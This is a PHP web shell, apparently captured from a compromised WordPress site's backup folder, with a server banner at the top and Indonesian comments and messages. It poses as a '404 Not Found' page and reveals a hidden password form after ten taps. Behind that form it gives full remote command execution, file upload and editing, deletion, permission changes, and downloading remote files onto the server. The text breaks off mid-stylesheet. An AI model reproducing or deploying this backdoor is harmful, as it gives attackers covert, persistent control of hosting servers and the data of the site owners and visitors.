HEX
Server: LiteSpeed
System: Linux server902.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: deshuvsd (2181)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: /home/deshuvsd/www/wp-content/ai1wm-backups/ooo.php
<?php
session_start();
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$self = basename(__FILE__);
$lock_file = __DIR__ . '/.fs_lock';
$cwd = isset($_GET['d']) ? realpath($_GET['d']) : getcwd();
$cwd = $cwd ?: getcwd(); // Fallback in case realpath returns false
$msg = isset($_GET['msg']) ? htmlspecialchars($_GET['msg']) : '';

$clipboard_items = isset($_SESSION['clipboard_items']) ? $_SESSION['clipboard_items'] : [];
$clipboard_type = isset($_SESSION['clipboard_type']) ? $_SESSION['clipboard_type'] : null;

// Handle lock file for authentication
if (file_exists($lock_file) && !isset($_SESSION['unlocked'])) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['pass'])) {
        $hash = file_get_contents($lock_file);
        if (password_verify($_POST['pass'], $hash)) {
            $_SESSION['unlocked'] = true;
            header("Location: ?d=" . urlencode($cwd));
            exit;
        } else {
            $msg = "Password salah";
        }
    }
echo <<<HTML
<!DOCTYPE html>
<html style="height:100%" data-bs-theme="dark">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>404 Not Found</title>
<link href='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css' rel='stylesheet'>
<style>
  body {
    color: #444;
    margin:0;
    font: normal 14px/20px Arial, Helvetica, sans-serif;
    height:100%;
    background-color: var(--bs-body-bg);
  }
  .hidden-message {
    display: none;
    font-size: 24px;
    color: green;
  }
</style>
</head>
<body ontouchstart="">

<div style="height:auto; min-height:100%;">      
  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;color:var(--bs-body-color);">
    <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>
    <h2 style="margin-top:20px;font-size: 30px;">Not Found</h2>
    <p>The resource requested could not be found on this server!</p>
  </div>
</div>

<div class="hidden-message" id="secret">
  <form method='post' class="d-flex flex-column align-items-center mt-5">
    <input type='password' name='pass' placeholder='Password' class="form-control mb-2" style="max-width:300px;">
    <button type="submit" class="btn btn-success">Akses</button>
  </form>
</div>

<script>
  let tapCount = 0;
  let timer;

  ['click', 'touchstart'].forEach(eventType => {
    document.body.addEventListener(eventType, function () {
      tapCount++;
      clearTimeout(timer);

      if (tapCount >= 10) {
        document.getElementById('secret').style.display = 'block';
      }

      timer = setTimeout(() => {
        tapCount = 0;
      }, 800);
    });
  });
</script>
HTML;

    if (!empty($msg)) {
        echo "<script>alert('$msg');</script>";
    }
    exit;
}

// Helper Functions
function list_dir($path) {
    $items = scandir($path);
    $dirs = $files = [];
    foreach ($items as $item) {
        if ($item === "." || $item === "..") continue;
        $full = "$path/$item";
        // Check if item exists before calling file* functions
        if (!file_exists($full)) {
            error_log("File or directory not found: " . $full);
            continue;
        }

        $info = [
            'name' => $item,
            'path' => $full,
            'is_dir' => is_dir($full),
            'size' => is_file($full) ? filesize($full) : '-',
            'mtime' => filemtime($full)
        ];
        if (is_dir($full)) $dirs[] = $info;
        else $files[] = $info;
    }
    // Handle root directory correctly for '..' navigation
    $current_path_real = realpath($path);
    $document_root_real = realpath($_SERVER['DOCUMENT_ROOT']);

    // Check if current directory is not the actual root of the filesystem
    // and not the document root (if applicable, or simply if it's not the highest accessible directory)
    if ($current_path_real !== '/' && $current_path_real !== $document_root_real) {
        $parent_path = dirname($path);
        // Ensure parent path is within accessible limits or logical
        if (strpos(realpath($parent_path), $document_root_real) === 0 || $parent_path === '/') { // Added a check to prevent going above document root easily
            array_unshift($dirs, [
                'name' => '..',
                'path' => $parent_path,
                'is_dir' => true,
                'size' => '-',
                'mtime' => filemtime($parent_path)
            ]);
        }
    }
    return array_merge($dirs, $files);
}

function formatSize($b) {
    if (!is_numeric($b)) return '-';
    if ($b >= 1073741824) return round($b / 1073741824, 2) . ' GB';
    if ($b >= 1048576) return round($b / 1048576, 2) . ' MB';
    if ($b >= 1024) return round($b / 1024, 2) . ' KB';
    return $b . ' B';
}

function perms($file) {
    $p = @fileperms($file); // Use @ to suppress warnings if fileperms fails (e.g., permission denied)
    if ($p === false) return '---------';
    return ($p & 0x4000 ? 'd' : '-') .
           (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')) .
           (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')) .
           (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
}

function perms_to_octal($perms) {
    // fileperms returns an integer, sprintf with %o formats it as octal
    // substr is used to get the last 4 characters, which represent the permissions
    return substr(sprintf('%o', $perms), -4);
}


function breadcrumbs($path, $self_filename) {
    $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
    $full = '';
    $out = ['<a href="' . htmlspecialchars($self_filename) . '">/</a>']; // Link to the script itself for root
    foreach ($parts as $part) {
        if (empty($part)) continue;
        $full .= '/' . $part;
        $out[] = "<a href='?d=" . urlencode($full) . "'>$part</a>";
    }
    return implode("/", $out);
}

function delete_recursive($path) {
    if (!file_exists($path)) return false;
    if (is_file($path)) return unlink($path);
    elseif (is_dir($path)) {
        $items = array_diff(scandir($path), ['.', '..']);
        foreach ($items as $item) {
            if (!delete_recursive($path . DIRECTORY_SEPARATOR . $item)) return false;
        }
        return rmdir($path);
    }
    return false;
}

function create_zip_from_items($items_to_zip, $destination_zip_file, $base_dir) {
    if (!extension_loaded('zip')) {
        error_log("ZIP extension not loaded.");
        return false;
    }
    $zip = new ZipArchive();
    if (!$zip->open($destination_zip_file, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE)) {
        error_log("Failed to open zip archive: " . $destination_zip_file);
        return false;
    }

    $success_count = 0;
    foreach ($items_to_zip as $item_path_encoded) {
        $item_path = realpath(urldecode($item_path_encoded));
        if ($item_path === false || !file_exists($item_path)) {
            error_log("Item not found or invalid path: " . $item_path_encoded);
            continue;
        }

        // Security check: Ensure item is within the base_dir
        if (strpos($item_path, realpath($base_dir)) !== 0) {
            error_log("Attempted to zip file outside current directory: " . $item_path);
            continue;
        }

        // Calculate relative path for the zip archive
        $relativePath = ltrim(str_replace(realpath($base_dir), '', $item_path), DIRECTORY_SEPARATOR);
        // Handle root directory as base_dir case for relative path
        if (realpath($base_dir) === $item_path) {
            $relativePath = basename($item_path);
        } else if (str_starts_with($item_path, realpath($base_dir) . DIRECTORY_SEPARATOR)) {
             $relativePath = substr($item_path, strlen(realpath($base_dir)) + 1);
        }

        if (is_file($item_path)) {
            if ($zip->addFile($item_path, $relativePath)) {
                $success_count++;
            } else {
                error_log("Failed to add file to zip: " . $item_path);
            }
        } elseif (is_dir($item_path)) {
            // Add empty directory entry
            $zip->addEmptyDir($relativePath . '/');

            // Add all files and subdirectories recursively
            $files = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($item_path, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::LEAVES_ONLY
            );
            foreach ($files as $name => $file) {
                if (!$file->isDir()) {
                    $filePath = $file->getRealPath();
                    // Ensure entry name is relative to the original item_path being zipped
                    $entryName = $relativePath . '/' . ltrim(str_replace($item_path, '', $filePath), DIRECTORY_SEPARATOR);
                    if ($zip->addFile($filePath, $entryName)) {
                        $success_count++;
                    } else {
                        error_log("Failed to add directory file to zip: " . $filePath);
                    }
                }
            }
        }
    }
    $zip->close();
    return $success_count;
}


function execute_command($cmd, $cwd) {
    if (!function_exists('proc_open')) {
        return "<pre>Error: Fungsi proc_open() dinonaktifkan di server ini. Tidak dapat menjalankan perintah.</pre>";
    }
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
    );
    $process = @proc_open($cmd, $descriptorspec, $pipes, $cwd, null);

    if (is_resource($process)) {
        fclose($pipes[0]);

        $stdout = stream_get_contents($pipes[1]);
        fclose($pipes[1]);

        $stderr = stream_get_contents($pipes[2]);
        fclose($pipes[2]);

        $return_value = proc_close($process);

        return "<pre style='color:#00ff00'>\n" . htmlspecialchars($stdout) . "\nError:\n" . htmlspecialchars($stderr) . "\nExit Code: " . htmlspecialchars($return_value) . "</pre>";
    } else {
        $last_error = error_get_last();
        return "<pre>Error: Could not open process. " . ($last_error ? htmlspecialchars($last_error['message']) : 'Tidak dapat memulai proses eksternal.') . "</pre>";
    }
}

function copy_recursive($source, $dest) {
    if (is_file($source)) {
        return copy($source, $dest);
    } elseif (is_dir($source)) {
        @mkdir($dest, 0755, true); // Use @ to suppress warning if dir exists or permission issue
        $items = array_diff(@scandir($source) ?: [], ['.', '..']); // Use @ and check for false
        foreach ($items as $item) {
            if (!copy_recursive($source . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item)) {
                return false;
            }
        }
        return true;
    }
    return false;
}

// Function to get URL content using cURL
function getUrlContent($url) {
    if (!extension_loaded('curl')) {
        error_log("cURL extension not loaded.");
        return false;
    }
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false, // WARNING: Only for development/testing, not recommended for production
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36',
        CURLOPT_TIMEOUT => 30, // Increased timeout for potentially large files
    ]);
    $data = curl_exec($ch);
    if (curl_errno($ch)) {
        error_log("cURL error: " . curl_error($ch));
        $data = false;
    }
    curl_close($ch);
    return $data;
}

// Action Handlers
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['uploadfile'])) {
        // Ensure the upload directory is writable
        if (!is_writable($cwd)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload gagal: Direktori tidak dapat ditulis."));
            exit;
        }

        if (isset($_FILES['uploadfile']) && $_FILES['uploadfile']['error'] === UPLOAD_ERR_OK) {
            $dest = $cwd . '/' . basename($_FILES['uploadfile']['name']);
            // Check if file already exists to prevent overwrite issues (optional)
            // if (file_exists($dest)) { /* handle as needed, e.g., rename, error */ }

            $ok = move_uploaded_file($_FILES['uploadfile']['tmp_name'], $dest);
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("Upload sukses") : urlencode("Upload gagal: Gagal memindahkan file.")));
        } else {
            $upload_error_msg = "Unknown error.";
            switch ($_FILES['uploadfile']['error']) {
                case UPLOAD_ERR_INI_SIZE:
                    $upload_error_msg = "Ukuran file melebihi batas upload_max_filesize di php.ini.";
                    break;
                case UPLOAD_ERR_FORM_SIZE:
                    $upload_error_msg = "Ukuran file melebihi batas MAX_FILE_SIZE yang ditentukan di formulir HTML.";
                    break;
                case UPLOAD_ERR_PARTIAL:
                    $upload_error_msg = "File hanya terunggah sebagian.";
                    break;
                case UPLOAD_ERR_NO_FILE:
                    $upload_error_msg = "Tidak ada file yang diunggah.";
                    break;
                case UPLOAD_ERR_NO_TMP_DIR:
                    $upload_error_msg = "Direktori sementara hilang.";
                    break;
                case UPLOAD_ERR_CANT_WRITE:
                    $upload_error_msg = "Gagal menulis file ke disk.";
                    break;
                case UPLOAD_ERR_EXTENSION:
                    $upload_error_msg = "Ekstensi PHP menghentikan unggahan file.";
                    break;
            }
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload gagal: " . $upload_error_msg));
        }
        exit;
    }
    if (isset($_POST['newfile'])) {
        // Ensure the directory is writable
        if (!is_writable($cwd)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuat file: Direktori tidak dapat ditulis."));
            exit;
        }
        $filename = trim($_POST['newfile']);
        if (empty($filename) || strpos($filename, '/') !== false || strpos($filename, '\\') !== false) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Nama file tidak valid."));
            exit;
        }
        $filepath = $cwd . '/' . $filename;
        $ok = file_put_contents($filepath, $_POST['filedata']);
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok !== false ? urlencode("File dibuat") : urlencode("Gagal membuat file")));
        exit;
    }
    if (isset($_POST['newfolder'])) {
        // Ensure the directory is writable
        if (!is_writable($cwd)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuat folder: Direktori tidak dapat ditulis."));
            exit;
        }
        $foldername = trim($_POST['newfolder']);
        if (empty($foldername) || strpos($foldername, '/') !== false || strpos($foldername, '\\') !== false) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Nama folder tidak valid."));
            exit;
        }
        $folderpath = $cwd . '/' . $foldername;
        $ok = mkdir($folderpath);
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("Folder dibuat") : urlencode("Gagal membuat folder")));
        exit;
    }
    if (isset($_POST['setpass'])) {
        file_put_contents($lock_file, password_hash($_POST['setpass'], PASSWORD_DEFAULT));
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password disimpan"));
        exit;
    }
    if (isset($_POST['editfile'])) {
        $filepath = urldecode($_POST['filepath']);
        // Re-validate path to ensure it's still within cwd for security
        if (realpath($filepath) === false || strpos(realpath($filepath), realpath($cwd)) !== 0 || is_dir($filepath)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menyimpan: Path tidak valid atau di luar direktori kerja."));
            exit;
        }
        if (!is_writable($filepath)) {
             header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menyimpan: File tidak dapat ditulis."));
             exit;
        }
        $ok = file_put_contents($filepath, $_POST['filedata']);
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok !== false ? urlencode("File berhasil disimpan") : urlencode("Gagal menyimpan file")));
        exit;
    }
    if (isset($_POST['rename_submit'])) {
        $old = urldecode($_POST['old_path_rename']);
        $new_name = basename(trim($_POST['new_name'])); // Ensure only basename to prevent path traversal
        $new = dirname($old) . '/' . $new_name;

        // More robust path validation for rename
        $old_real = realpath($old);
        $cwd_real = realpath($cwd);
        if ($old_real === false || strpos($old_real, $cwd_real) !== 0) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal rename: Path tidak valid atau di luar direktori kerja."));
            exit;
        }
        if (empty($new_name)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal rename: Nama baru tidak boleh kosong."));
            exit;
        }

        $ok = rename($old, $new);
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("Rename sukses") : urlencode("Rename gagal")));
        exit;
    }
    if (isset($_POST['delpass'])) {
        if (file_exists($lock_file)) {
            if (unlink($lock_file)) {
                 $_SESSION['unlocked'] = false; // Log out after deleting password
                 header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password dihapus"));
            } else {
                 header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menghapus file password."));
            }
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File password tidak ditemukan."));
        }
        exit;
    }
    
    if (isset($_POST['batch_action']) && isset($_POST['selected_items']) && !empty($_POST['selected_items'])) {
        $selected_items = $_POST['selected_items'];
        $action_type = $_POST['batch_action'];
        $msg_text = "";
        $success_count = 0;
        $failed_items = [];

        foreach ($selected_items as $key => $item_encoded) {
            // Re-validate path for each item to prevent malicious manipulation of selected_items
            $item_path = realpath(urldecode($item_encoded));
            if ($item_path === false || strpos($item_path, realpath($cwd)) !== 0) {
                $failed_items[] = basename(urldecode($item_encoded)) . " (path invalid/unsafe)";
                unset($selected_items[$key]); // Remove unsafe item from processing
            } else {
                $selected_items[$key] = $item_path; // Use realpath for consistency
            }
        }

        switch ($action_type) {
            case 'delete':
                foreach ($selected_items as $item_path) {
                    if (delete_recursive($item_path)) {
                        $success_count++;
                    } else {
                        $failed_items[] = basename($item_path);
                    }
                }
                $msg_text = "$success_count item berhasil dihapus.";
                if (!empty($failed_items)) {
                    $msg_text .= " Gagal menghapus: " . implode(", ", $failed_items) . ".";
                }
                break;

            case 'zip':
                // Ensure the directory is writable for the zip file
                if (!is_writable($cwd)) {
                    $msg_text = "Gagal membuat zip: Direktori tidak dapat ditulis.";
                    break;
                }
                $zip_file_name = $cwd . '/' . 'archive_' . time() . '.zip';
                $success_count = create_zip_from_items($selected_items, $zip_file_name, $cwd); // Pass actual paths, not encoded ones

                if ($success_count !== false) {
                    if ($success_count > 0) {
                        $msg_text = "Berhasil mengarsipkan $success_count item ke " . basename($zip_file_name);
                    } else {
                        $msg_text = "Tidak ada item yang diarsipkan atau gagal mengarsipkan.";
                        if (file_exists($zip_file_name)) { // Clean up empty zip file
                            unlink($zip_file_name);
                        }
                    }
                } else {
                    $msg_text = "Gagal membuat file zip. Periksa log server untuk detail.";
                }
                break;

            case 'copy':
            case 'cut':
                $_SESSION['clipboard_items'] = [];
                $_SESSION['clipboard_type'] = $action_type;
                
                foreach ($selected_items as $item_path) { // Use validated real paths
                    $_SESSION['clipboard_items'][] = $item_path;
                    $success_count++;
                }
                $action_verb = ($action_type === 'copy' ? 'disalin' : 'dipotong');
                $msg_text = "$success_count item berhasil {$action_verb} ke clipboard.";
                if (!empty($failed_items)) {
                    $msg_text .= " Gagal {$action_verb}: " . implode(", ", $failed_items) . ".";
                }
                break;

            default:
                $msg_text = "Aksi batch tidak valid.";
                break;
        }
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg_text));
        exit;
    }

    if (isset($_POST['set_chmod'])) {
        $target_path = urldecode($_POST['chmod_path']);
        $octal_value = $_POST['chmod_octal'];

        if (!preg_match('/^[0-7]{3,4}$/', $octal_value)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal CHMOD: Format izin tidak valid (gunakan 3 atau 4 digit oktal)."));
            exit;
        }

        $mode = octdec($octal_value);

        // Path validation
        $target_real = realpath($target_path);
        $cwd_real = realpath($cwd);
        if ($target_real === false || strpos($target_real, $cwd_real) !== 0) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal CHMOD: Path tidak valid atau di luar direktori kerja."));
            exit;
        }

        $ok = @chmod($target_path, $mode); // Use @ to suppress warnings if chmod fails
        if ($ok) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("CHMOD berhasil diubah menjadi " . $octal_value));
        } else {
            $last_error = error_get_last();
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal CHMOD: " . ($last_error ? $last_error['message'] : 'Kesalahan tidak diketahui.') . ". Pastikan Anda memiliki izin yang cukup."));
        }
        exit;
    }

    if (isset($_POST['paste_item'])) {
        if (empty($_SESSION['clipboard_items']) || !isset($_SESSION['clipboard_type'])) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Clipboard kosong."));
            exit;
        }
        // Ensure destination is writable
        if (!is_writable($cwd)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menempel: Direktori tujuan tidak dapat ditulis."));
            exit;
        }

        $operation_type = $_SESSION['clipboard_type'];
        $total_success = 0;
        $total_failed = [];

        foreach ($_SESSION['clipboard_items'] as $source_path) {
            $destination_path = $cwd . DIRECTORY_SEPARATOR . basename($source_path);

            // Re-validate source path to prevent issues if clipboard content was tampered with
            $source_real = realpath($source_path);
            if ($source_real === false || !file_exists($source_real)) {
                $total_failed[] = basename($source_path) . " (sumber tidak ditemukan)";
                continue;
            }

            if ($source_real === realpath($destination_path)) {
                $total_failed[] = basename($source_path) . " (lokasi sama)";
                continue;
            }
            // Prevent copying/cutting a directory into itself
            if (is_dir($source_real) && strpos($destination_path, $source_real . DIRECTORY_SEPARATOR) === 0) {
                 $total_failed[] = basename($source_path) . " (tempel ke dalam diri sendiri)";
                 continue;
            }

            $ok = false;
            if ($operation_type === 'copy') {
                $ok = copy_recursive($source_real, $destination_path);
            } elseif ($operation_type === 'cut') {
                // Ensure target directory for rename is writable
                if (!is_writable(dirname($destination_path))) {
                     $total_failed[] = basename($source_path) . " (izin direktori tujuan tidak cukup untuk memindahkan)";
                     continue;
                }
                $ok = rename($source_real, $destination_path);
            }

            if ($ok) {
                $total_success++;
            } else {
                $total_failed[] = basename($source_path);
            }
        }

        if ($total_success > 0) {
            unset($_SESSION['clipboard_items']);
            unset($_SESSION['clipboard_type']);
            $msg_action = ($operation_type === 'copy' ? 'menyalin' : 'memindahkan');
            $msg_text = "Berhasil {$msg_action} $total_success item ke " . basename($cwd);
            if (!empty($total_failed)) {
                $msg_text .= ". Gagal: " . implode(", ", $total_failed) . ".";
            }
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg_text));
        } else {
            $msg_text = "Gagal menempel item.";
            if (!empty($total_failed)) {
                $msg_text .= " Gagal: " . implode(", ", $total_failed) . ".";
            }
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg_text));
        }
        exit;
    }

    // CMD Execution from POST
    if (isset($_POST['cmd_exec']) && isset($_POST['command'])) {
        $command_to_exec = trim($_POST['command']);
        $cmd_output = execute_command($command_to_exec, $cwd);
        // Store command in history
        if (!isset($_SESSION['cmd_history'])) {
            $_SESSION['cmd_history'] = [];
        }
        array_unshift($_SESSION['cmd_history'], $command_to_exec);
        $_SESSION['cmd_history'] = array_slice($_SESSION['cmd_history'], 0, 10); // Keep last 10 commands
        header("Location: ?action=cmd&d=" . urlencode($cwd) . "&cmd_output=" . urlencode($cmd_output));
        exit;
    }

    // Clear CMD History
    if (isset($_POST['clear_cmd_history'])) {
        unset($_SESSION['cmd_history']);
        header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("Riwayat perintah dihapus."));
        exit;
    }

    // Handle Import Raw File from URL
    if (isset($_POST['download_url_and_save'])) {
        $url = trim($_POST['url_to_download_raw']);
        $filename = trim($_POST['filename_to_save']);

        $message = '';

        if (filter_var($url, FILTER_VALIDATE_URL) && !empty($filename)) {
            // Security check: Ensure filename is safe and within current directory
            $filename_safe = basename($filename);
            $destination_filepath = $cwd . DIRECTORY_SEPARATOR . $filename_safe;

            // Prevent overwriting fsv4.php or other critical files (optional but recommended)
            if ($filename_safe === basename(__FILE__) || $filename_safe === '.fs_lock') {
                $message = "<span style='color:red;'>❌ Nama file ini tidak diizinkan!</span>";
            } elseif (!is_writable($cwd)) {
                $message = "<span style='color:red;'>❌ Direktori tidak dapat ditulis!</span>";
            } else {
                $data = getUrlContent($url);
                if ($data !== false && strlen($data) > 0) {
                    if (file_put_contents($destination_filepath, $data) !== false) {
                        $message = "<span style='color:green;'>✅ Berhasil menyimpan file sebagai <strong>" . htmlspecialchars($filename_safe) . "</strong></span>";
                    } else {
                        $message = "<span style='color:red;'>❌ Gagal menulis data ke file! Periksa izin.</span>";
                    }
                } else {
                    $message = "<span style='color:red;'>❌ Gagal mengambil data dari URL! Periksa log server untuk detail cURL.</span>";
                }
            }
        } else {
            $message = "<span style='color:red;'>⚠️ URL tidak valid atau nama file kosong!</span>";
        }
        header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode($message));
        exit;
    }
}

// GET request actions
if (isset($_GET['delete'])) {
    $target = realpath(urldecode($_GET['delete']));
    // Re-validate target path
    if ($target !== false && strpos($target, realpath($cwd)) === 0) {
        $ok = delete_recursive($target);
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("Dihapus") : urlencode("Gagal hapus")));
    } else {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal hapus: Path tidak valid atau di luar direktori kerja."));
    }
    exit;
}

if (isset($_GET['unzip'])) {
    $file_to_unzip = realpath(urldecode($_GET['unzip']));
    if ($file_to_unzip === false || !file_exists($file_to_unzip) || is_dir($file_to_unzip)) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal unzip: File tidak ditemukan atau bukan file."));
        exit;
    }
    if (strpos($file_to_unzip, realpath($cwd)) !== 0) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File di luar direktori kerja."));
        exit;
    }
    // Ensure the extraction path is writable
    $extract_path = dirname($file_to_unzip);
    if (!is_writable($extract_path)) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal unzip: Direktori tujuan tidak dapat ditulis."));
        exit;
    }

    $zip = new ZipArchive;
    if ($zip->open($file_to_unzip) === TRUE) {
        $ok = $zip->extractTo($extract_path);
        $zip->close();
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("File berhasil di-unzip.") : urlencode("Gagal unzip file. Pastikan tidak ada konflik file atau izin.")));
        exit;
    } else {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuka file zip."));
        exit;
    }
}

// Edit File Page
if (isset($_GET['edit'])) {
    $f = realpath(urldecode($_GET['edit']));
    if ($f === false || !file_exists($f) || is_dir($f)) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File tidak ditemukan atau bukan file yang bisa diedit."));
        exit;
    }
    if (strpos($f, realpath($cwd)) !== 0) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Tidak diizinkan mengedit file di luar direktori kerja."));
        exit;
    }
    // Check if the file is readable
    if (!is_readable($f)) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Tidak dapat membaca file: Izin ditolak."));
        exit;
    }

    $data = htmlspecialchars(file_get_contents($f));
    echo "<!DOCTYPE html>
    <html data-bs-theme='dark'>
    <head>
        <meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no' />
        <title>Edit File</title>
        <link href='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css' rel='stylesheet'>
        <style>body {padding-top: 20px;}</style>
    </head>
    <body class='p-4'>
    <a href='?d=" . urlencode($cwd) . "' class='btn btn-sm btn-secondary mb-3'><i class='fa fa-arrow-left'></i> Kembali</a>
    <form method='post'>
        <h3>Edit File: " . basename($f) . "</h3>
        <textarea name='filedata' class='form-control mb-2' style='width:100%;height:300px;'>" . $data . "</textarea>
        <input type='hidden' name='filepath' value='" . htmlspecialchars($f) . "'>
        <button name='editfile' class='btn btn-success mt-2'>Simpan</button>
    </form>
    </body>
    </html>";
    exit;
}

// Download File action
if (isset($_GET['download'])) {
    $file_to_download = realpath(urldecode($_GET['download']));
    
    if ($file_to_download === false || !file_exists($file_to_download) || is_dir($file_to_download)) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal download: File tidak ditemukan atau bukan file yang bisa diunduh."));
        exit;
    }
    if (strpos($file_to_download, realpath($cwd)) !== 0) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Tidak diizinkan mengunduh file di luar direktori kerja."));
        exit;
    }
    if (!is_readable($file_to_download)) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal download: File tidak dapat dibaca."));
        exit;
    }

    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file_to_download));
    readfile($file_to_download);
    exit;
}
?>
<!DOCTYPE html>
<html data-bs-theme="dark">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>File Manager</title>
<link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css'>
<link href='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css' rel='stylesheet'>
<script src='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js'></script>
<style>
body { padding-top: 70px; } /* Adjusted padding-top to clear fixed navbar */
.navbar { position: fixed; top: 0; left: 0; right: 0; z-index: 1030; }
a { text-decoration: none; }
.clipboard-cut { background-color: #ffc10740; }
.clipboard-copy { background-color: #17a2b840; }
#batchActionsContainer { display: none; }
.path-display { font-size: 0.9em; margin-bottom: 10px; }
.table-responsive-custom {
    overflow-x: auto;
    width: 100%;
    max-width: none; /* Ensure it takes full width of parent */
}
.table {
    min-width: 700px; /* Minimum width for table to avoid excessive stacking */
}
/* Style for header menu buttons */
.navbar-nav .nav-item .btn {
    border: 1px solid rgba(255,255,255,0.3);
    border-radius: .3rem; /* Slightly rounded corners */
    padding: .375rem .75rem; /* Match Bootstrap btn padding */
    display: flex; /* Use flex to align icon and text if text is added later */
    align-items: center;
    justify-content: center;
    min-width: 80px; /* Set a minimum width for buttons */
    text-align: center; /* Center text within buttons */
}
.navbar-nav .nav-item .btn i {
    font-size: 1.1em; /* Slightly larger icon */
    margin-right: 5px; /* Space between icon and text */
}
.navbar-brand {
    padding-left: 1rem; /* Adjust brand padding */
}

/* Gaya untuk baris yang diklik */
.table tbody tr.active-row {
    background-color: var(--bs-table-active-bg); /* Use Bootstrap's active row background */
}

/* Penyesuaian untuk tema terang dan gelap */
